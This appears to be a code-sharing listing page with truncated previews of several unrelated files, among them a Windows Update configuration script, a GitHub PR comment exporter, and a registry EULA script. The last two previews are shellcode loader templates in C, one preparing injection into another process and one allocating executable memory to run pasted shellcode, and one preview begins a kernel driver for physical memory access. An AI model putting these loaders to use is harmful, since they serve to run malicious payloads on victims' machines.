green flow color: #001e00
red flow color: #1e0000
| <# | |
| .SYNOPSIS | |
| Configures Windows 11 Enterprise to auto-install updates without ever auto-rebooting. | |
| .DESCRIPTION | |
| - Enables fully automatic download + scheduled install of Windows Updates. | |
| - Disables every known auto-reboot path: logged-on-user reboots, scheduled-time | |
| reboots, deadline-forced reboots, and the UpdateOrchestrator reboot tasks. | |
| - Verifies all settings after applying and prints a pass/fail report. |
| """ | |
| PR Review Comments to Markdown Exporter | |
| Dumps all review comments from a GitHub PR into a structured markdown file | |
| that can be fed to Claude Code for assistance in implementing fixes. | |
| Requirements: | |
| - GitHub CLI (gh) installed and authenticated | |
| - Python 3.7+ |
| #!/usr/bin/env python3 | |
| import sys | |
| import math | |
| import argparse | |
| from pathlib import Path | |
| from collections import Counter | |
| from typing import NoReturn | |
| try: |
| #!/usr/bin/env python3 | |
| """ | |
| accept_sysinternals_eula.py | |
| Set Sysinternals EulaAccepted=1 for every .exe in the current (or given) folder. | |
| Run as admin to write HKU entries for other loaded user hives (including .DEFAULT). | |
| """ | |
| from pathlib import Path | |
| import argparse |
| #include <ntddk.h> | |
| #include <intrin.h> | |
| #include "PhysicalMemory.h" | |
| DRIVER_INITIALIZE DriverEntry; | |
| #ifdef ALLOC_PRAGMA | |
| #pragma alloc_text( INIT, DriverEntry ) | |
| #endif // ALLOC_PRAGMA |
| #include <stdio.h> | |
| #include <Windows.h> | |
| // djb2 | |
| ULONG CalcMemHash(const PUCHAR data, size_t size) { | |
| ULONG hash = 5381; | |
| for (size_t i = 0; i < size; ++i) { | |
| hash = ((hash << 5) + hash) + data[i]; | |
| } |
| #include <stdio.h> | |
| #include <Windows.h> | |
| unsigned char buf[] = "..."; // Paste your shellcode here | |
| int main(int argc, char** argv) | |
| { | |
| // Get the process ID of the target process | |
| DWORD targetProcessId = 00000; |
| #include <stdio.h> | |
| #include <Windows.h> | |
| unsigned char buf[] = "..."; // Paste your shellcode here | |
| int main(int argc, char** argv) | |
| { | |
| // Allocate memory for shellcode inside our local process | |
| void* shllCodeBuff = VirtualAlloc(0, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE); | |
| if (shllCodeBuff == NULL) |